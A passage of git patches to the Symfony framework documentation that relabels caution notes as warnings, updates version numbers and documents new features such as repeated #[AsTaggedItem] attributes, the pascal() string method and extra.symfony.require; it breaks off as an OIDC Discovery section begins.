@@ -609,24 +609,24 @@ Three different behaviors are available:
 
 .. configuration-block::
 
-        .. code-block:: php-attributes
-
-            // ...
-            use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
-            use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
-            use Symfony\Component\DependencyInjection\ContainerInterface;
+    .. code-block:: php-attributes
 
-            #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
-            class Bar
-            {
-                public function __construct(
-                    private #[AutowireDecorated] $inner,
-                ) {
-                }
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\AutowireDecorated;
+        use Symfony\Component\DependencyInjection\ContainerInterface;
 
-                // ...
+        #[AsDecorator(decorates: Mailer::class, onInvalid: ContainerInterface::IGNORE_ON_INVALID_REFERENCE)]
+        class Bar
+        {
+            public function __construct(
+                #[AutowireDecorated] private $inner,
+            ) {
             }
 
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -673,7 +673,7 @@ Three different behaviors are available:
             ;
         };
 
-.. caution::
+.. warning::
 
     When using ``null``, you may have to update the decorator constructor in
     order to make decorated dependency nullable::
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 8afbb767e45..9c6451931d1 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -962,7 +962,7 @@ and compose your services with them::
         }
     }
 
-.. caution::
+.. warning::
 
     When creating these helper traits, the service id cannot be ``__METHOD__``
     as this will include the trait name, not the class name. Instead, use
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 4ee2fbd21f2..bf50a191ba3 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -112,7 +112,7 @@ If you want to apply tags automatically for your own services, use the
                     ->tag('app.custom_tag');
         };
 
-.. caution::
+.. warning::
 
     If you're using PHP configuration, you need to call ``instanceof`` before
     any service registration to make sure tags are correctly applied.
@@ -1281,4 +1281,19 @@ be used directly on the class of the service you want to configure::
         // ...
     }
 
+You can apply the ``#[AsTaggedItem]`` attribute multiple times to register the
+same service under different indexes:
+
+    #[AsTaggedItem(index: 'handler_one', priority: 5)]
+    #[AsTaggedItem(index: 'handler_two', priority: 20)]
+    class SomeService
+    {
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The feature to apply the ``#[AsTaggedItem]`` attribute multiple times was
+    introduced in Symfony 7.3.
+
 .. _`PHP constructor promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion
diff --git a/session.rst b/session.rst
index 393cd24a898..0c5348ec9e6 100644
--- a/session.rst
+++ b/session.rst
@@ -419,7 +419,7 @@ session metadata files:
 Check out the Symfony config reference to learn more about the other available
 :ref:`Session configuration options <config-framework-session>`.
 
-.. caution::
+.. warning::
 
     Symfony sessions are incompatible with ``php.ini`` directive
     ``session.auto_start = 1`` This directive should be turned off in
@@ -492,12 +492,11 @@ the ``php.ini`` directive ``session.gc_maxlifetime``. The meaning in this contex
 that any stored session that was saved more than ``gc_maxlifetime`` ago should be
 deleted. This allows one to expire records based on idle time.
 
-However, some operating systems (e.g. Debian) do their own session handling and set
-the ``session.gc_probability`` variable to ``0`` to stop PHP doing garbage
-collection. That's why Symfony now overwrites this value to ``1``.
-
-If you wish to use the original value set in your ``php.ini``, add the following
-configuration:
+However, some operating systems (e.g. Debian) manage session handling differently
+and set the ``session.gc_probability`` variable to ``0`` to prevent PHP from performing
+garbage collection. By default, Symfony uses the value of the ``gc_probability``
+directive set in the ``php.ini`` file. If you can't modify this PHP setting, you
+can configure it directly in Symfony:
 
 .. code-block:: yaml
 
@@ -505,14 +504,19 @@ configuration:
     framework:
         session:
             # ...
-            gc_probability: null
+            gc_probability: 1
 
-You can configure these settings by passing ``gc_probability``, ``gc_divisor``
-and ``gc_maxlifetime`` in an array to the constructor of
+Alternatively, you can configure these settings by passing ``gc_probability``,
+``gc_divisor`` and ``gc_maxlifetime`` in an array to the constructor of
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage`
 or to the :method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\NativeSessionStorage::setOptions`
 method.
 
+.. versionadded:: 7.2
+
+    Using the ``php.ini`` directive as the default value for ``gc_probability``
+    was introduced in Symfony 7.2.
+
 .. _session-database:
 
 Store Sessions in a Database
@@ -1536,7 +1540,7 @@ event::
         }
     }
 
-.. caution::
+.. warning::
 
     In order to update the language immediately after a user has changed their
     language preferences, you also need to update the session when you change
diff --git a/setup.rst b/setup.rst
index 1d7081e93b7..b269da2c476 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.2.x-dev" --webapp
+    $ symfony new my_project_directory --version="7.3.x-dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.2.x-dev"
+    $ symfony new my_project_directory --version="7.3.x-dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.3.x-dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.3.x-dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies
diff --git a/setup/_update_all_packages.rst.inc b/setup/_update_all_packages.rst.inc
index a6a6c70e570..7b858c51351 100644
--- a/setup/_update_all_packages.rst.inc
+++ b/setup/_update_all_packages.rst.inc
@@ -9,7 +9,7 @@ this safely by running:
 
     $ composer update
 
-.. caution::
+.. warning::
 
     Beware, if you have some unspecific `version constraints`_ in your
     ``composer.json`` (e.g. ``dev-master``), this could upgrade some
diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index 7bf2d0bf035..45195f21e31 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -67,12 +67,12 @@ Edit your web server configuration (commonly ``httpd.conf`` or ``apache2.conf``
 for Apache) and set its user to be the same as your CLI user (e.g. for Apache,
 update the ``User`` and ``Group`` directives).
 
-.. caution::
+.. danger::
 
     If this solution is used in a production server, be sure this user only has
     limited privileges (no access to private data or servers, execution of
-    unsafe binaries, etc.) as a compromised server would give to the hacker
-    those privileges.
+    unsafe binaries, etc.) as a compromised server would give those privileges
+    to the hacker.
 
 3. Without Using ACL
 ~~~~~~~~~~~~~~~~~~~~
@@ -89,7 +89,7 @@ and ``public/index.php`` files::
 
     umask(0000); // This will let the permissions be 0777
 
-.. caution::
+.. warning::
 
     Changing the ``umask`` is not thread-safe, so the ACL methods are recommended
     when they are available.
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index f8b7c6e35c4..2ea4da543fe 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -294,7 +294,7 @@ domains work:
     # Example with Cypress
     $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open
 
-.. caution::
+.. warning::
 
     Although env var names are always defined in uppercase, the ``https_proxy``
     env var `is treated differently`_ than other env vars and its name must be
@@ -357,7 +357,7 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi
         use_gzip: true # Toggle GZIP compression
         no_workers: true # Do not start workers
 
-.. caution::
+.. warning::
 
     Setting domains in this configuration file will override any domains you set
     using the ``proxy:domain:attach`` command for the current project when you start
@@ -524,7 +524,7 @@ its location, same as for ``docker-compose``:
     If you have more than one Docker Compose file, you can provide them all
     separated by ``:`` as explained in the `Docker compose CLI env var reference`_.
 
-.. caution::
+.. warning::
 
     When using the Symfony binary with ``php bin/console`` (``symfony console ...``),
     the binary will **always** use environment variables detected via Docker and will
@@ -534,7 +534,7 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
-.. caution::
+.. warning::
 
     Similar to other web servers, this tool automatically exposes all environment
     variables available in the CLI context. Ensure that this local server is not
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 60983e299a6..d8520ad05b4 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -98,7 +98,7 @@ Now, you can start fixing the notices:
 Once you fixed them all, the command ends with ``0`` (success) and you're
 done!
 
-.. caution::
+.. warning::
 
     You will probably see many deprecations about incompatible native
     return types. See :ref:`Add Native Return Types <upgrading-native-return-types>`
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index e5a0c9e7fd9..acd76c342b9 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -49,60 +49,6 @@ listen on. Each pool can also be run under a different UID and GID:
     ; or listen on a TCP connection
     ; listen = 127.0.0.1:9000
 
-Apache
-------
-
-If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
-incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
-(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
-``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
-directive to pass requests for PHP files to PHP FPM:
-
-.. code-block:: apache
-
-    # /etc/apache2/conf.d/example.com.conf
-    <VirtualHost *:80>
-        ServerName example.com
-        ServerAlias www.example.com
-
-        # Uncomment the following line to force Apache to pass the Authorization
-        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
-        #
-        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
-
-        <FilesMatch \.php$>
-            # when using PHP-FPM as a unix socket
-            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
-
-            # when PHP-FPM is configured to use TCP
-            # SetHandler proxy:fcgi://127.0.0.1:9000
-        </FilesMatch>
-
-        DocumentRoot /var/www/project/public
-        <Directory /var/www/project/public>
-            AllowOverride None
-            Require all granted
-            FallbackResource /index.php
-        </Directory>
-
-        # uncomment the following lines if you install assets as symlinks
-        # or run into problems when compiling LESS/Sass/CoffeeScript assets
-        # <Directory /var/www/project>
-        #     Options FollowSymlinks
-        # </Directory>
-
-        ErrorLog /var/log/apache2/project_error.log
-        CustomLog /var/log/apache2/project_access.log combined
-    </VirtualHost>
-
-.. note::
-
-    If you are doing some quick tests with Apache, you can also run
-    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
-    file in the ``public/`` directory with the necessary rewrite rules needed to serve
-    the Symfony application. However, in production, it's recommended to move these
-    rules to the main Apache configuration file (as shown above) to improve performance.
-
 Nginx
 -----
 
@@ -183,13 +129,67 @@ The **minimum configuration** to get your application running under Nginx is:
     If you have other PHP files in your public directory that need to be executed,
     be sure to include them in the ``location`` block above.
 
-.. caution::
+.. warning::
 
     After you deploy to production, make sure that you **cannot** access the ``index.php``
     script (i.e. ``http://example.com/index.php``).
 
 For advanced Nginx configuration options, read the official `Nginx documentation`_.
 
+Apache
+------
+
+If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass
+incoming requests to PHP-FPM. Install the Apache2 FastCGI mod
+(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and
+``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler``
+directive to pass requests for PHP files to PHP FPM:
+
+.. code-block:: apache
+
+    # /etc/apache2/conf.d/example.com.conf
+    <VirtualHost *:80>
+        ServerName example.com
+        ServerAlias www.example.com
+
+        # Uncomment the following line to force Apache to pass the Authorization
+        # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI
+        #
+        # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
+
+        <FilesMatch \.php$>
+            # when using PHP-FPM as a unix socket
+            SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy
+
+            # when PHP-FPM is configured to use TCP
+            # SetHandler proxy:fcgi://127.0.0.1:9000
+        </FilesMatch>
+
+        DocumentRoot /var/www/project/public
+        <Directory /var/www/project/public>
+            AllowOverride None
+            Require all granted
+            FallbackResource /index.php
+        </Directory>
+
+        # uncomment the following lines if you install assets as symlinks
+        # or run into problems when compiling LESS/Sass/CoffeeScript assets
+        # <Directory /var/www/project>
+        #     Options FollowSymlinks
+        # </Directory>
+
+        ErrorLog /var/log/apache2/project_error.log
+        CustomLog /var/log/apache2/project_access.log combined
+    </VirtualHost>
+
+.. note::
+
+    If you are doing some quick tests with Apache, you can also run
+    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
+    file in the ``public/`` directory with the necessary rewrite rules needed to serve
+    the Symfony application. However, in production, it's recommended to move these
+    rules to the main Apache configuration file (as shown above) to improve performance.
+
 Caddy
 -----
 
diff --git a/string.rst b/string.rst
index 43d3a236ab6..e51e7d1b502 100644
--- a/string.rst
+++ b/string.rst
@@ -234,8 +234,10 @@ Methods to Change Case
     u('Foo: Bar-baz.')->snake(); // 'foo_bar_baz'
     // changes all graphemes/code points to kebab-case
     u('Foo: Bar-baz.')->kebab(); // 'foo-bar-baz'
-    // other cases can be achieved by chaining methods. E.g. PascalCase:
-    u('Foo: Bar-baz.')->camel()->title(); // 'FooBarBaz'
+    // changes all graphemes/code points to PascalCase
+    u('Foo: Bar-baz.')->pascal(); // 'FooBarBaz'
+    // other cases can be achieved by chaining methods, e.g. :
+    u('Foo: Bar-baz.')->camel()->upper(); // 'FOOBARBAZ'
 
 .. versionadded:: 7.1
 
@@ -246,6 +248,10 @@ Methods to Change Case
 
     The ``kebab()`` method was introduced in Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    The ``pascal()`` method was introduced in Symfony 7.3.
+
 The methods of all string classes are case-sensitive by default. You can perform
 case-insensitive operations with the ``ignoreCase()`` method::
 
diff --git a/templates.rst b/templates.rst
index 9ae234f460b..50e052d69fd 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1114,7 +1114,7 @@ template fragments. Configure that special URL in the ``fragments`` option:
             $framework->fragments()->path('/_fragment');
         };
 
-.. caution::
+.. warning::
 
     Embedding controllers requires making requests to those controllers and
     rendering some templates as result. This can have a significant impact on
@@ -1320,7 +1320,7 @@ different templates to create the final contents. This inheritance mechanism
 boosts your productivity because each template includes only its unique contents
 and leaves the repeated contents and HTML structure to some parent templates.
 
-.. caution::
+.. warning::
 
     When using ``extends``, a child template is forbidden to define template
     parts outside of a block. The following code throws a ``SyntaxError``:
diff --git a/testing.rst b/testing.rst
index 06360899dee..30c0e87ab77 100644
--- a/testing.rst
+++ b/testing.rst
@@ -235,7 +235,7 @@ in them, files lower in the list override previous items):
 #. ``.env.test``: overriding/setting specific test values or vars;
 #. ``.env.test.local``: overriding settings specific for this machine.
 
-.. caution::
+.. warning::
 
     The ``.env.local`` file is **not** used in the test environment, to
     make each test set-up as consistent as possible.
@@ -750,7 +750,7 @@ You can also override HTTP headers on a per request basis::
         'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
     ]);
 
-.. caution::
+.. warning::
 
     The name of your custom headers must follow the syntax defined in the
     `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
@@ -961,11 +961,11 @@ However, Symfony provides useful shortcut methods for the most common cases:
 Response Assertions
 ...................
 
-``assertResponseIsSuccessful(string $message = '')``
+``assertResponseIsSuccessful(string $message = '', bool $verbose = true)``
     Asserts that the response was successful (HTTP status is 2xx).
-``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
+``assertResponseStatusCodeSame(int $expectedCode, string $message = '', bool $verbose = true)``
     Asserts a specific HTTP status code.
-``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '')``
+``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '', bool $verbose = true)``
     Asserts the response is a redirect response (optionally, you can check
     the target location and status code). The excepted location can be either
     an absolute or a relative path.
@@ -983,9 +983,13 @@ Response Assertions
     Asserts the response format returned by the
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
-``assertResponseIsUnprocessable(string $message = '')``
+``assertResponseIsUnprocessable(string $message = '', bool $verbose = true)``
     Asserts the response is unprocessable (HTTP status is 422)
 
+.. versionadded:: 7.1
+
+    The ``$verbose`` parameters were introduced in Symfony 7.1.
+
 Request Assertions
 ..................
 
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index e43f5fa2be2..d59f243f998 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -457,7 +457,7 @@ Accepting Self-Signed SSL Certificates
 To force Chrome to accept invalid and self-signed certificates, you can set the
 following environment variable: ``PANTHER_CHROME_ARGUMENTS='--ignore-certificate-errors'``.
 
-.. caution::
+.. danger::
 
     This option is insecure, use it only for testing in development environments,
     never in production (e.g. for web crawlers).
diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst
index 5a76d517ced..ea9cba3c046 100644
--- a/testing/insulating_clients.rst
+++ b/testing/insulating_clients.rst
@@ -43,7 +43,7 @@ clean PHP process, thus avoiding any side effects.
     As an insulated client is slower, you can keep one client in the main
     process, and insulate the other ones.
 
-.. caution::
+.. warning::
 
     Insulating tests requires some serializing and unserializing operations. If
     your test includes data that can't be serialized, such as file streams when
diff --git a/translation.rst b/translation.rst
index 0e5f09d342e..2b9a3534cdc 100644
--- a/translation.rst
+++ b/translation.rst
@@ -392,7 +392,7 @@ translation of *static blocks of text*:
 
     {% trans %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     The ``%var%`` notation of placeholders is required when translating in
     Twig templates using the tag.
@@ -410,7 +410,7 @@ You can also specify the message domain and pass some additional variables:
 
     {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     Using the translation tag has the same effect as the filter, but with one
     major difference: automatic output escaping is **not** applied to translations
@@ -537,7 +537,7 @@ The choice of which loader to use is entirely up to you and is a matter of
 taste. The recommended option is to use YAML for simple projects and use XLIFF
 if you're generating translations with specialized programs or teams.
 
-.. caution::
+.. warning::
 
     Each time you create a *new* message catalog (or install a bundle
     that includes a translation catalog), be sure to clear your cache so
@@ -1175,7 +1175,7 @@ unused translation messages templates:
 
     {{ 'Symfony is great'|trans }}
 
-.. caution::
+.. warning::
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable objects
diff --git a/validation.rst b/validation.rst
index 3f9b16785d1..4905283b18b 100644
--- a/validation.rst
+++ b/validation.rst
@@ -525,7 +525,7 @@ class to have at least 3 characters.
             }
         }
 
-.. caution::
+.. warning::
 
     The validator will use a value ``null`` if a typed property is uninitialized.
     This can cause unexpected behavior if the property holds a value when initialized.
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 435b976d1d3..59da9e60568 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -62,6 +62,47 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
         }
     }
 
+Constraint with Private Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Constraints are cached for performance reasons. To achieve this, the base
+``Constraint`` class uses PHP's :phpfunction:`get_object_vars` function, which
+excludes private properties of child classes.
+
+If your constraint defines private properties, you must explicitly include them
+in the ``__sleep()`` method to ensure they are serialized correctly::
+
+    // src/Validator/ContainsAlphanumeric.php
+    namespace App\Validator;
+
+    use Symfony\Component\Validator\Attribute\HasNamedArguments;
+    use Symfony\Component\Validator\Constraint;
+
+    #[\Attribute]
+    class ContainsAlphanumeric extends Constraint
+    {
+        public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+
+        #[HasNamedArguments]
+        public function __construct(
+            private string $mode,
+            ?array $groups = null,
+            mixed $payload = null,
+        ) {
+            parent::__construct([], $groups, $payload);
+        }
+
+        public function __sleep(): array
+        {
+            return array_merge(
+                parent::__sleep(),
+                [
+                    'mode'
+                ]
+            );
+        }
+    }
+
 Creating the Validator itself
 -----------------------------
 
diff --git a/validation/groups.rst b/validation/groups.rst
index 3842c781969..8d84e52c0da 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -140,7 +140,7 @@ Constraints in the ``Default`` group of a class are the constraints that have
 either no explicit group configured or that are configured to a group equal to
 the class name or the string ``Default``.
 
-.. caution::
+.. warning::
 
     When validating *just* the User object, there is no difference between the
     ``Default`` group and the ``User`` group. But, there is a difference if
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 7d3663f45fc..836568c2327 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -117,7 +117,7 @@ In this example, it will first validate all constraints in the group ``User``
 (which is the same as the ``Default`` group). Only if all constraints in
 that group are valid, the second group, ``Strict``, will be validated.
 
-.. caution::
+.. warning::
 
     As you have already seen in :doc:`/validation/groups`, the ``Default`` group
     and the group containing the class name (e.g. ``User``) were identical.
@@ -131,7 +131,7 @@ that group are valid, the second group, ``Strict``, will be validated.
     sequence, which will contain the ``Default`` group which references the
     same group sequence, ...).
 
-.. caution::
+.. warning::
 
     Calling ``validate()`` with a group in the sequence (``Strict`` in previous
     example) will cause a validation **only** with that group and not with all
diff --git a/web_link.rst b/web_link.rst
index e5ad7e1159c..8602445313f 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -50,20 +50,14 @@ Imagine that your application includes a web page like this:
     </body>
     </html>
 
-Following the traditional HTTP workflow, when this page is served browsers will
-make one request for the HTML page and another request for the linked CSS file.
-However, thanks to HTTP/2 your application can start sending the CSS file
-contents even before browsers request them.
-
-To do that, first install the WebLink component:
-
-.. code-block:: terminal
-
-    $ composer require symfony/web-link
-
-Now, update the template to use the ``preload()`` Twig function provided by
-WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply
-correct prioritization and the content security policy:
+In a traditional HTTP workflow, when this page is loaded, browsers make one
+request for the HTML document and another for the linked CSS file. However,
+with HTTP/2, your application can send the CSS file's contents to the browser
+before it requests them.
+
+To achieve this, update your template to use the ``preload()`` Twig function
+provided by WebLink. Note that the `"as" attribute`_ is required, as browsers use
+it to prioritize resources correctly and comply with the content security policy:
 
 .. code-block:: html+twig
 
diff --git a/webhook.rst b/webhook.rst
index aba95cffb04..674c9f2c5c6 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -23,6 +23,7 @@ Currently, the following third-party mailer providers support webhooks:
 ============== ============================================
 Mailer Service Parser service name
 ============== ============================================
+AhaSend        ``mailer.webhook.request_parser.ahasend``
 Brevo          ``mailer.webhook.request_parser.brevo``
 Mandrill       ``mailer.webhook.request_parser.mailchimp``
 MailerSend     ``mailer.webhook.request_parser.mailersend``
@@ -42,9 +43,13 @@ Sweego         ``mailer.webhook.request_parser.sweego``
 
 .. versionadded:: 7.2
 
-    The ``Mandrill``,  ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
+    The ``Mandrill``, ``Mailomat``, ``Mailtrap``, and ``Sweego`` integrations were introduced in
     Symfony 7.2.
 
+.. versionadded:: 7.3
+
+    The ``AhaSend`` integration was introduced in Symfony 7.3.
+
 .. note::
 
     Install the third-party mailer provider you want to use as described in the
diff --git a/workflow.rst b/workflow.rst
index 52997531409..11b4005bb10 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -321,7 +321,7 @@ if you are using Doctrine, the matching column definition should use the type ``
         // ...
     }
 
-.. caution::
+.. warning::
 
     You should not use the type ``simple_array`` for your marking store. Inside
     a multiple state marking store, places are stored as keys with a value of one,

From 7232f8cf3898a2144bfacb398a665d5596b77d9d Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Sat, 7 Sep 2024 17:23:00 +0200
Subject: [PATCH 5307/5766] =?UTF-8?q?[Setup]=20feat:=20add=20section=20abo?=
 =?UTF-8?q?ut=20`composer=20extra.symfony.require=20=E2=80=A6`?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 setup.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/setup.rst b/setup.rst
index 1fc65f23856..fccb15b375d 100644
--- a/setup.rst
+++ b/setup.rst
@@ -281,6 +281,19 @@ create new projects. If you use Composer, you need to tell the exact version:
 
     $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
 
+With an already existing project, you can restrict Symfony packages to one
+specific version by :doc:`using Symfony Flex in your project </setup/flex>`
+and setting the ``extra.symfony.require`` config:
+
+.. code-block:: terminal
+
+    $ composer config extra.symfony.require "6.4.*"
+
+.. warning::
+
+    Tools like `dependabot`_ may ignore this setting and upgrade the Symfony dependencies,
+    see this `GitHub issue about dependabot`_.
+
 The Symfony Demo application
 ----------------------------
 
@@ -315,6 +328,8 @@ Learn More
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install the Symfony CLI`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
+.. _`dependabot`: https://docs.github.com/en/code-security/dependabot
+.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories

From 644ac22454d64fdfa430480ae946756848aaba01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 16 Jan 2025 16:37:56 +0100
Subject: [PATCH 5308/5766] Move the new contents

---
 setup.rst               | 15 ---------------
 setup/upgrade_major.rst | 40 +++++++++++++++++++++++++++++++---------
 2 files changed, 31 insertions(+), 24 deletions(-)

diff --git a/setup.rst b/setup.rst
index fccb15b375d..1fc65f23856 100644
--- a/setup.rst
+++ b/setup.rst
@@ -281,19 +281,6 @@ create new projects. If you use Composer, you need to tell the exact version:
 
     $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
 
-With an already existing project, you can restrict Symfony packages to one
-specific version by :doc:`using Symfony Flex in your project </setup/flex>`
-and setting the ``extra.symfony.require`` config:
-
-.. code-block:: terminal
-
-    $ composer config extra.symfony.require "6.4.*"
-
-.. warning::
-
-    Tools like `dependabot`_ may ignore this setting and upgrade the Symfony dependencies,
-    see this `GitHub issue about dependabot`_.
-
 The Symfony Demo application
 ----------------------------
 
@@ -328,8 +315,6 @@ Learn More
 .. _`Install Composer`: https://getcomposer.org/download/
 .. _`install the Symfony CLI`: https://symfony.com/download
 .. _`symfony-cli/symfony-cli GitHub repository`: https://github.com/symfony-cli/symfony-cli
-.. _`dependabot`: https://docs.github.com/en/code-security/dependabot
-.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631
 .. _`The Symfony Demo Application`: https://github.com/symfony/demo
 .. _`Symfony Flex`: https://github.com/symfony/flex
 .. _`PHP security advisories database`: https://github.com/FriendsOfPHP/security-advisories
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 8c172c49b29..ab05f2b202b 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -162,20 +162,40 @@ starting with ``symfony/`` to the new major version:
           "...": "...",
       }
 
-At the bottom of your ``composer.json`` file, in the ``extra`` block you can
-find a data setting for the Symfony version. Make sure to also upgrade
-this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
+A more efficient way to handle Symfony dependency updates is by setting the
+``extra.symfony.require`` configuration option in your ``composer.json`` file.
+In Symfony applications using :doc:`Symfony Flex </setup/flex>`, this setting
+restricts Symfony packages to a single specific version, improving both
+dependency management and Composer update performance:
 
 .. code-block:: diff
 
-      "extra": {
-          "symfony": {
-              "allow-contrib": false,
-    -         "require": "5.4.*"
-    +         "require": "6.0.*"
-          }
+      {
+          "...": "...",
+
+          "require": {
+    -         "symfony/cache": "6.0.*",
+    +         "symfony/cache": "*",
+    -         "symfony/config": "6.0.*",
+    +         "symfony/config": "*",
+    -         "symfony/console": "6.0.*",
+    +         "symfony/console": "*",
+              "...": "...",
+          },
+          "...": "...",
+
+    +     "extra": {
+    +         "symfony": {
+    +             "require": "6.0.*"
+    +         }
+    +     }
       }
 
+.. warning::
+
+    Tools like `dependabot`_ may ignore this setting and upgrade Symfony
+    dependencies. For more details, see this `GitHub issue about dependabot`_.
+
 .. tip::
 
     If a more recent minor version is available (e.g. ``6.4``) you can use that
@@ -338,3 +358,5 @@ Classes in the ``vendor/`` directory are always ignored.
 .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
 .. _`Rector`: https://github.com/rectorphp/rector
 .. _`maintained Symfony versions`: https://symfony.com/releases
+.. _`dependabot`: https://docs.github.com/en/code-security/dependabot
+.. _`GitHub issue about dependabot`: https://github.com/dependabot/dependabot-core/issues/4631

From f9046f9abf1d47145d29d592f36fdad7f3db3a56 Mon Sep 17 00:00:00 2001
From: Vincent Chalamon <407859+vincentchalamon@users.noreply.github.com>
Date: Fri, 17 Jan 2025 10:30:22 +0100
Subject: [PATCH 5309/5766] docs: add OIDC Discovery documentation

---
 security/access_token.rst | 145 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 145 insertions(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index c0ff4692676..0370949e584 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -411,6 +411,72 @@ and retrieve the user info:
             ;
         };
 
+To enable the `OpenID Connect Discovery`_, the ``OidcUserInfoTokenHandler``
